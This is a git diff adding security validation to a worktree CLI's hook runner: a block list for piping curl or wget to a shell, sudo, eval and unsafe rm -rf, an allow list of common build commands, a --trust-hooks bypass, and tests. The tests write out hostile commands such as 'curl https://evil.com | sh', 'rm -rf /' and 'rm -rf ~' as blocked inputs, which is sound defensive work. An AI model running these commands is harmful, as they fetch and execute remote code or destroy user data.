diff --git a/.changeset/hook-security-validation.md b/.changeset/hook-security-validation.md new file mode 100644 index 0000000..aa694b8 --- /dev/null +++ b/.changeset/hook-security-validation.md @@ -0,0 +1,5 @@ +--- +"@fnebenfuehr/worktree-cli": minor +--- + +Add security validation for hook commands before execution. Blocks dangerous patterns (curl|sh, sudo, eval, unsafe rm -rf) and prompts for confirmation on unrecognized commands. Use --trust-hooks to bypass validation. diff --git a/src/commands/checkout.ts b/src/commands/checkout.ts index 9c0f408..0313cc0 100644 --- a/src/commands/checkout.ts +++ b/src/commands/checkout.ts @@ -9,7 +9,7 @@ import { isValidBranchName, VALIDATION_ERRORS } from '@/utils/validation'; export async function checkoutCommand( branch?: string, - options?: { skipHooks?: boolean; verbose?: boolean } + options?: { skipHooks?: boolean; verbose?: boolean; trustHooks?: boolean } ): Promise { const shouldPrompt = !branch && isInteractive(); @@ -59,6 +59,12 @@ export async function checkoutCommand( cwd: result.path, skipHooks: options?.skipHooks, verbose: options?.verbose, + trustHooks: options?.trustHooks, + env: { + worktreePath: result.path, + branch: result.branch, + mainPath: gitRoot, + }, }); } } diff --git a/src/commands/create.ts b/src/commands/create.ts index 2e0dd27..324a308 100644 --- a/src/commands/create.ts +++ b/src/commands/create.ts @@ -19,7 +19,7 @@ import { isValidBranchName, VALIDATION_ERRORS } from '@/utils/validation'; export async function createCommand( branch?: string, - options?: { skipHooks?: boolean; verbose?: boolean; from?: string } + options?: { skipHooks?: boolean; verbose?: boolean; from?: string; trustHooks?: boolean } ): Promise { const shouldPrompt = !branch && isInteractive(); @@ -91,6 +91,7 @@ export async function createCommand( cwd: result.path, skipHooks: options?.skipHooks, verbose: options?.verbose, + trustHooks: options?.trustHooks, env: { worktreePath: result.path, branch: result.branch, diff --git a/src/commands/remove.ts b/src/commands/remove.ts index 90240c7..7e01c1e 100644 --- a/src/commands/remove.ts +++ b/src/commands/remove.ts @@ -20,7 +20,7 @@ import { tryCatch } from '@/utils/try-catch'; export async function removeCommand( branch?: string, - options?: { skipHooks?: boolean; verbose?: boolean; force?: boolean } + options?: { skipHooks?: boolean; verbose?: boolean; force?: boolean; trustHooks?: boolean } ): Promise { const shouldPrompt = !branch && isInteractive(); @@ -94,6 +94,7 @@ export async function removeCommand( cwd: worktreePath, skipHooks: options?.skipHooks, verbose: options?.verbose, + trustHooks: options?.trustHooks, env, }); } @@ -136,6 +137,7 @@ export async function removeCommand( cwd: defaultBranchPath, skipHooks: options?.skipHooks, verbose: options?.verbose, + trustHooks: options?.trustHooks, env, }); } diff --git a/src/index.ts b/src/index.ts index bab2194..9fef347 100755 --- a/src/index.ts +++ b/src/index.ts @@ -97,12 +97,14 @@ interface CommandOptions { hooks?: boolean; force?: boolean; from?: string; + trustHooks?: boolean; } program .command('create [branch]') .description('Create a new git worktree and branch') .option('--no-hooks', 'Skip running lifecycle hooks') + .option('--trust-hooks', 'Trust all hook commands without security validation') .option('-f, --from ', 'Base branch to create from') .action((branch: string | undefined, options: CommandOptions, command) => { const globalOpts = command.optsWithGlobals(); @@ -111,6 +113,7 @@ program skipHooks: !options.hooks, verbose: globalOpts.verbose, from: options.from, + trustHooks: options.trustHooks, }) )(); }); @@ -119,6 +122,7 @@ program .command('remove [branch]') .description('Remove an existing git worktree') .option('--no-hooks', 'Skip running lifecycle hooks') + .option('--trust-hooks', 'Trust all hook commands without security validation') .option('-f, --force', 'Force removal even with uncommitted changes') .action((branch: string | undefined, options: CommandOptions, command) => { const globalOpts = command.optsWithGlobals(); @@ -127,6 +131,7 @@ program skipHooks: !options.hooks, verbose: globalOpts.verbose, force: options.force, + trustHooks: options.trustHooks, }) )(); }); @@ -145,12 +150,14 @@ program .command('checkout [branch]') .description('Checkout a branch (switch to existing worktree or create from local/remote)') .option('--no-hooks', 'Skip running lifecycle hooks') + .option('--trust-hooks', 'Trust all hook commands without security validation') .action((branch: string | undefined, options: CommandOptions, command) => { const globalOpts = command.optsWithGlobals(); handleCommandError(() => checkoutCommand(branch, { skipHooks: !options.hooks, verbose: globalOpts.verbose, + trustHooks: options.trustHooks, }) )(); }); @@ -160,12 +167,14 @@ program .command('add [branch]') .description('Alias for checkout - git-like naming') .option('--no-hooks', 'Skip running lifecycle hooks') + .option('--trust-hooks', 'Trust all hook commands without security validation') .action((branch: string | undefined, options: CommandOptions, command) => { const globalOpts = command.optsWithGlobals(); handleCommandError(() => checkoutCommand(branch, { skipHooks: !options.hooks, verbose: globalOpts.verbose, + trustHooks: options.trustHooks, }) )(); }); diff --git a/src/lib/hooks.ts b/src/lib/hooks.ts index dd535fa..f0ab719 100644 --- a/src/lib/hooks.ts +++ b/src/lib/hooks.ts @@ -1,9 +1,145 @@ import { basename } from 'node:path'; import { $ } from 'bun'; -import type { HookType, WorktreeConfig, WorktreeEnv } from '@/lib/types'; -import { log, spinner } from '@/utils/prompts'; +import type { HookType, SecurityValidationResult, WorktreeConfig, WorktreeEnv } from '@/lib/types'; +import { isInteractive, log, promptConfirm, spinner } from '@/utils/prompts'; import { tryCatch } from '@/utils/try-catch'; +const SAFE_RM_PATHS = [ + 'node_modules', + 'dist', + '.cache', + 'build', + 'coverage', + '.next', + '.turbo', + '__pycache__', + '.pytest_cache', + 'target', + 'out', + '.parcel-cache', + '.nuxt', + '.output', +]; + +const BLOCKED_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [ + { + pattern: /\bcurl\s+[^|]*\|\s*(?:ba)?sh\b/i, + reason: 'Piping curl to shell is dangerous - could execute arbitrary remote code', + }, + { + pattern: /\bwget\s+[^|]*\|\s*(?:ba)?sh\b/i, + reason: 'Piping wget to shell is dangerous - could execute arbitrary remote code', + }, + { + pattern: /\bsudo\b/, + reason: 'sudo commands require elevated privileges and are blocked for security', + }, + { + pattern: /\beval\s+/, + reason: 'eval can execute arbitrary code and is blocked for security', + }, +]; + +const SAFE_PATTERNS: RegExp[] = [ + // Package managers + /^\s*npm\s+(install|ci|run|test|build|start|exec)\b/, + /^\s*yarn(\s+(install|add|run|test|build|start))?\s*$/, + /^\s*yarn\s+(install|add|run|test|build|start)\b/, + /^\s*pnpm\s+(install|add|run|test|build|start)\b/, + /^\s*bun\s+(install|add|run|test|build|start)\b/, + // Docker + /^\s*docker\s+compose\b/, + /^\s*docker-compose\b/, + // Basic file operations + /^\s*mkdir\s+-?p?\s/, + /^\s*cp\s+/, + /^\s*mv\s+/, + /^\s*touch\s+/, + /^\s*echo\s+/, + /^\s*cat\s+/, + /^\s*ls\b/, + /^\s*pwd\b/, + // Git operations + /^\s*git\s+(fetch|pull|checkout|branch|status|log|diff)\b/, + // Common build tools + /^\s*make\b/, + /^\s*cmake\b/, + /^\s*cargo\s+(build|run|test)\b/, + /^\s*go\s+(build|run|test|mod)\b/, + /^\s*python\s+-m\s+(pip|venv)\b/, + /^\s*pip\s+install\b/, + /^\s*composer\s+install\b/, + /^\s*bundle\s+install\b/, +]; + +/** + * Check if an rm -rf command targets a safe path + */ +function isRmRfSafe(command: string): boolean { + // Match rm -rf or rm -r -f or rm -fr patterns + const rmMatch = command.match(/\brm\s+(?:-[rf]+\s+)+(.+)/); + if (!rmMatch || !rmMatch[1]) return false; + + const targetPath = rmMatch[1].trim(); + + // Check if target is one of the safe paths + return SAFE_RM_PATHS.some((safePath) => { + // Match exact name or path ending with the safe name + const pathLower = targetPath.toLowerCase(); + const safePathLower = safePath.toLowerCase(); + return ( + pathLower === safePathLower || + pathLower.endsWith(`/${safePathLower}`) || + pathLower.endsWith(`\\${safePathLower}`) + ); + }); +} + +/** + * Validate a hook command for security concerns + */ +export function validateHookCommand(command: string): SecurityValidationResult { + // Check for blocked patterns first + for (const { pattern, reason } of BLOCKED_PATTERNS) { + if (pattern.test(command)) { + return { level: 'blocked', reason, command }; + } + } + + // Check for rm -rf (special handling) + if (/\brm\s+(?:-[rf]+\s+)+/.test(command)) { + if (isRmRfSafe(command)) { + return { level: 'safe', command }; + } + return { + level: 'blocked', + reason: 'rm -rf is only allowed for safe paths like node_modules, dist, .cache', + command, + }; + } + + // Check if command matches safe patterns + for (const pattern of SAFE_PATTERNS) { + if (pattern.test(command)) { + return { level: 'safe', command }; + } + } + + // Default to risky for unknown commands + return { + level: 'risky', + reason: 'Unknown command pattern - requires confirmation', + command, + }; +} + +/** + * Validate all commands in a hook configuration + */ +export function validateHookCommands(commands: string[]): SecurityValidationResult[] { + return commands.map(validateHookCommand); +} + interface ShellConfig { shell: string; flag: string; @@ -69,6 +205,7 @@ interface ExecuteHooksOptions { skipHooks?: boolean; verbose?: boolean; env?: WorktreeEnv; + trustHooks?: boolean; } export async function executeHooks( @@ -89,40 +226,107 @@ export async function executeHooks( const shellContext = `${shell} ${flag}`; const envVars = options.env ? buildWorktreeEnv(options.env) : undefined; + // Validate all commands if not trusted + if (!options.trustHooks) { + const validationResults = validateHookCommands(commands); + const blockedCommands = validationResults.filter((r) => r.level === 'blocked'); + const riskyCommands = validationResults.filter((r) => r.level === 'risky'); + + // Block dangerous commands + if (blockedCommands.length > 0) { + for (const blocked of blockedCommands) { + log.error(`Blocked hook command: ${blocked.command}`); + log.warn(`Reason: ${blocked.reason}`); + } + log.warn('Use --trust-hooks to bypass security validation (not recommended)'); + return; + } + + // Prompt for risky commands + if (riskyCommands.length > 0 && isInteractive()) { + log.warn('The following hook commands require confirmation:'); + for (const risky of riskyCommands) { + log.message(` - ${risky.command}`); + } + + const confirmed = await promptConfirm( + 'Do you want to run these commands? (Use --trust-hooks to skip this prompt)', + false + ); + + if (!confirmed) { + log.info('Hook execution cancelled by user'); + return; + } + } else if (riskyCommands.length > 0 && !isInteractive()) { + // Non-interactive mode: skip risky commands without trust flag + log.warn('Skipping unrecognized hook commands in non-interactive mode:'); + for (const risky of riskyCommands) { + log.message(` - ${risky.command}`); + } + log.warn('Use --trust-hooks to run these commands'); + // Filter to only safe commands + const safeCommands = commands.filter((cmd) => { + const result = validateHookCommand(cmd); + return result.level === 'safe'; + }); + if (safeCommands.length === 0) { + return; + } + // Continue with only safe commands + for (let i = 0; i < safeCommands.length; i++) { + const command = safeCommands[i]; + if (!command) continue; + await runHookCommand(command, i, safeCommands.length, options, shellContext, envVars); + } + return; + } + } + for (let i = 0; i < commands.length; i++) { const command = commands[i]; if (!command) continue; + await runHookCommand(command, i, commands.length, options, shellContext, envVars); + } +} - const s = spinner(); - s.start(`Running: ${command} (${i + 1}/${commands.length})`); +async function runHookCommand( + command: string, + index: number, + total: number, + options: ExecuteHooksOptions, + shellContext: string, + envVars?: Record +): Promise { + const s = spinner(); + s.start(`Running: ${command} (${index + 1}/${total})`); - const { error, data: result } = await tryCatch(executeCommand(command, options.cwd, envVars)); + const { error, data: result } = await tryCatch(executeCommand(command, options.cwd, envVars)); - if (error) { - s.stop(`Error: ${command}`); - const errorMsg = error instanceof Error ? error.message : String(error); - log.warn(`Hook execution failed (via ${shellContext}): ${command}\nReason: ${errorMsg}`); + if (error) { + s.stop(`Error: ${command}`); + const errorMsg = error instanceof Error ? error.message : String(error); + log.warn(`Hook execution failed (via ${shellContext}): ${command}\nReason: ${errorMsg}`); - if (options.verbose) { - console.error(error); - } - continue; + if (options.verbose) { + console.error(error); } + return; + } - if (result.exitCode !== 0) { - s.stop(`Failed: ${command}`); - log.warn(`Hook failed (via ${shellContext}): ${command}`); + if (result.exitCode !== 0) { + s.stop(`Failed: ${command}`); + log.warn(`Hook failed (via ${shellContext}): ${command}`); - if (options.verbose && result.stderr) { - console.error(result.stderr.toString()); - } - continue; + if (options.verbose && result.stderr) { + console.error(result.stderr.toString()); } + return; + } - s.stop(`Done: ${command}`); + s.stop(`Done: ${command}`); - if (options.verbose && result.stdout) { - console.log(result.stdout.toString()); - } + if (options.verbose && result.stdout) { + console.log(result.stdout.toString()); } } diff --git a/src/lib/types.ts b/src/lib/types.ts index 6d42cff..5a3cace 100644 --- a/src/lib/types.ts +++ b/src/lib/types.ts @@ -99,6 +99,20 @@ export interface CopyResult { */ export type HookType = 'post_create' | 'pre_remove' | 'post_remove'; +/** + * Security level for hook command validation + */ +export type SecurityLevel = 'safe' | 'risky' | 'blocked'; + +/** + * Result of validating a hook command for security concerns + */ +export interface SecurityValidationResult { + level: SecurityLevel; + reason?: string; + command: string; +} + /** * Environment context for worktree operations */ diff --git a/tests/hooks.test.ts b/tests/hooks.test.ts index 8ab5dde..e5563bb 100644 --- a/tests/hooks.test.ts +++ b/tests/hooks.test.ts @@ -2,7 +2,14 @@ import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; import { mkdtemp, rm } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; -import { buildWorktreeEnv, executeCommand, executeHooks, getShellConfig } from '@/lib/hooks'; +import { + buildWorktreeEnv, + executeCommand, + executeHooks, + getShellConfig, + validateHookCommand, + validateHookCommands, +} from '@/lib/hooks'; import type { WorktreeConfig, WorktreeEnv } from '@/lib/types'; describe('getShellConfig', () => { @@ -137,7 +144,7 @@ describe('hook execution', () => { ], }; - await executeHooks(config, 'post_create', { cwd: testDir }); + await executeHooks(config, 'post_create', { cwd: testDir, trustHooks: true }); const output = await Bun.file(outputFile).text(); expect(output.trim()).toBe('continued'); @@ -195,7 +202,7 @@ describe('hook execution', () => { errorOutput += msg.toString(); }; - await executeHooks(config, 'post_create', { cwd: testDir, verbose: true }); + await executeHooks(config, 'post_create', { cwd: testDir, verbose: true, trustHooks: true }); console.error = originalError; expect(errorOutput).toContain('error'); @@ -312,6 +319,7 @@ describe('environment variables in hooks', () => { await executeHooks(config, 'post_create', { cwd: testDir, env: env, + trustHooks: true, }); const output = await Bun.file(outputFile).text(); @@ -339,3 +347,332 @@ describe('environment variables in hooks', () => { expect(output.trim()).toBe(process.env.HOME); }); }); + +describe('hook security validation', () => { + describe('validateHookCommand', () => { + // Blocked patterns + describe('blocked patterns', () => { + test('blocks curl | sh', () => { + const result = validateHookCommand('curl https://example.com/script.sh | sh'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('curl'); + }); + + test('blocks curl | bash', () => { + const result = validateHookCommand('curl -sSL https://install.com | bash'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('curl'); + }); + + test('blocks wget | sh', () => { + const result = validateHookCommand('wget -qO- https://example.com | sh'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('wget'); + }); + + test('blocks wget | bash', () => { + const result = validateHookCommand('wget https://example.com/install.sh | bash'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('wget'); + }); + + test('blocks sudo', () => { + const result = validateHookCommand('sudo apt-get install nodejs'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('sudo'); + }); + + test('blocks sudo in middle of command', () => { + const result = validateHookCommand('echo test && sudo rm -rf /'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('sudo'); + }); + + test('blocks eval', () => { + const result = validateHookCommand('eval "$(curl https://example.com)"'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('eval'); + }); + + test('blocks rm -rf on unsafe paths', () => { + const result = validateHookCommand('rm -rf /etc'); + expect(result.level).toBe('blocked'); + expect(result.reason).toContain('rm -rf'); + }); + + test('blocks rm -rf on root', () => { + const result = validateHookCommand('rm -rf /'); + expect(result.level).toBe('blocked'); + }); + + test('blocks rm -rf on home directory', () => { + const result = validateHookCommand('rm -rf ~'); + expect(result.level).toBe('blocked'); + }); + + test('blocks rm -rf with multiple flags', () => { + const result = validateHookCommand('rm -r -f /var/important'); + expect(result.level).toBe('blocked'); + }); + }); + + // Safe rm -rf paths + describe('safe rm -rf paths', () => { + test('allows rm -rf node_modules', () => { + const result = validateHookCommand('rm -rf node_modules'); + expect(result.level).toBe('safe'); + }); + + test('allows rm -rf dist', () => { + const result = validateHookCommand('rm -rf dist'); + expect(result.level).toBe('safe'); + }); + + test('allows rm -rf .cache', () => { + const result = validateHookCommand('rm -rf .cache'); + expect(result.level).toBe('safe'); + }); + + test('allows rm -rf build', () => { + const result = validateHookCommand('rm -rf build'); + expect(result.level).toBe('safe'); + }); + + test('allows rm -rf coverage', () => { + const result = validateHookCommand('rm -rf coverage'); + expect(result.level).toBe('safe'); + }); + + test('allows rm -rf with path prefix', () => { + const result = validateHookCommand('rm -rf ./node_modules'); + expect(result.level).toBe('safe'); + }); + + test('allows rm -rf with full path to safe dir', () => { + const result = validateHookCommand('rm -rf /home/user/project/node_modules'); + expect(result.level).toBe('safe'); + }); + }); + + // Safe patterns + describe('safe patterns', () => { + test('allows npm install', () => { + const result = validateHookCommand('npm install'); + expect(result.level).toBe('safe'); + }); + + test('allows npm ci', () => { + const result = validateHookCommand('npm ci'); + expect(result.level).toBe('safe'); + }); + + test('allows npm run build', () => { + const result = validateHookCommand('npm run build'); + expect(result.level).toBe('safe'); + }); + + test('allows yarn', () => { + const result = validateHookCommand('yarn'); + expect(result.level).toBe('safe'); + }); + + test('allows yarn install', () => { + const result = validateHookCommand('yarn install'); + expect(result.level).toBe('safe'); + }); + + test('allows pnpm install', () => { + const result = validateHookCommand('pnpm install'); + expect(result.level).toBe('safe'); + }); + + test('allows bun install', () => { + const result = validateHookCommand('bun install'); + expect(result.level).toBe('safe'); + }); + + test('allows docker compose', () => { + const result = validateHookCommand('docker compose up -d'); + expect(result.level).toBe('safe'); + }); + + test('allows docker-compose', () => { + const result = validateHookCommand('docker-compose build'); + expect(result.level).toBe('safe'); + }); + + test('allows mkdir', () => { + const result = validateHookCommand('mkdir -p src/components'); + expect(result.level).toBe('safe'); + }); + + test('allows cp', () => { + const result = validateHookCommand('cp .env.example .env'); + expect(result.level).toBe('safe'); + }); + + test('allows mv', () => { + const result = validateHookCommand('mv old.txt new.txt'); + expect(result.level).toBe('safe'); + }); + + test('allows touch', () => { + const result = validateHookCommand('touch .env'); + expect(result.level).toBe('safe'); + }); + + test('allows echo', () => { + const result = validateHookCommand('echo "hello" > file.txt'); + expect(result.level).toBe('safe'); + }); + + test('allows cat', () => { + const result = validateHookCommand('cat package.json'); + expect(result.level).toBe('safe'); + }); + + test('allows ls', () => { + const result = validateHookCommand('ls -la'); + expect(result.level).toBe('safe'); + }); + + test('allows pwd', () => { + const result = validateHookCommand('pwd'); + expect(result.level).toBe('safe'); + }); + + test('allows git fetch', () => { + const result = validateHookCommand('git fetch origin'); + expect(result.level).toBe('safe'); + }); + + test('allows git pull', () => { + const result = validateHookCommand('git pull origin main'); + expect(result.level).toBe('safe'); + }); + + test('allows make', () => { + const result = validateHookCommand('make build'); + expect(result.level).toBe('safe'); + }); + + test('allows cargo build', () => { + const result = validateHookCommand('cargo build --release'); + expect(result.level).toBe('safe'); + }); + + test('allows go build', () => { + const result = validateHookCommand('go build ./...'); + expect(result.level).toBe('safe'); + }); + + test('allows pip install', () => { + const result = validateHookCommand('pip install -r requirements.txt'); + expect(result.level).toBe('safe'); + }); + + test('allows bundle install', () => { + const result = validateHookCommand('bundle install'); + expect(result.level).toBe('safe'); + }); + + test('allows composer install', () => { + const result = validateHookCommand('composer install'); + expect(result.level).toBe('safe'); + }); + }); + + // Risky patterns (unknown commands) + describe('risky patterns', () => { + test('marks unknown commands as risky', () => { + const result = validateHookCommand('./scripts/custom-setup.sh'); + expect(result.level).toBe('risky'); + expect(result.reason).toContain('Unknown'); + }); + + test('marks python scripts as risky', () => { + const result = validateHookCommand('python setup.py'); + expect(result.level).toBe('risky'); + }); + + test('marks ruby scripts as risky', () => { + const result = validateHookCommand('ruby script.rb'); + expect(result.level).toBe('risky'); + }); + + test('marks arbitrary shell commands as risky', () => { + const result = validateHookCommand('find . -name "*.log" -delete'); + expect(result.level).toBe('risky'); + }); + }); + }); + + describe('validateHookCommands', () => { + test('validates multiple commands', () => { + const commands = ['npm install', 'sudo apt-get update', './custom.sh']; + const results = validateHookCommands(commands); + + expect(results).toHaveLength(3); + expect(results[0].level).toBe('safe'); + expect(results[1].level).toBe('blocked'); + expect(results[2].level).toBe('risky'); + }); + + test('returns empty array for empty input', () => { + const results = validateHookCommands([]); + expect(results).toHaveLength(0); + }); + }); + + describe('executeHooks with security validation', () => { + let testDir: string; + + beforeEach(async () => { + testDir = await mkdtemp(join(tmpdir(), 'worktree-security-test-')); + }); + + afterEach(async () => { + await rm(testDir, { recursive: true, force: true }); + }); + + test('executes safe commands without prompt', async () => { + const outputFile = join(testDir, 'output.txt'); + const config: WorktreeConfig = { + post_create: [`echo "safe command" > ${outputFile}`], + }; + + await executeHooks(config, 'post_create', { cwd: testDir }); + + const output = await Bun.file(outputFile).text(); + expect(output.trim()).toBe('safe command'); + }); + + test('blocks dangerous commands', async () => { + const outputFile = join(testDir, 'output.txt'); + const config: WorktreeConfig = { + post_create: [`curl https://evil.com | sh && echo "ran" > ${outputFile}`], + }; + + await executeHooks(config, 'post_create', { cwd: testDir }); + + // File should not be created because command was blocked + const exists = await Bun.file(outputFile).exists(); + expect(exists).toBe(false); + }); + + test('trustHooks bypasses validation', async () => { + const outputFile = join(testDir, 'output.txt'); + const config: WorktreeConfig = { + post_create: [`echo "trusted" > ${outputFile}`], + }; + + await executeHooks(config, 'post_create', { + cwd: testDir, + trustHooks: true, + }); + + const output = await Bun.file(outputFile).text(); + expect(output.trim()).toBe('trusted'); + }); + }); +});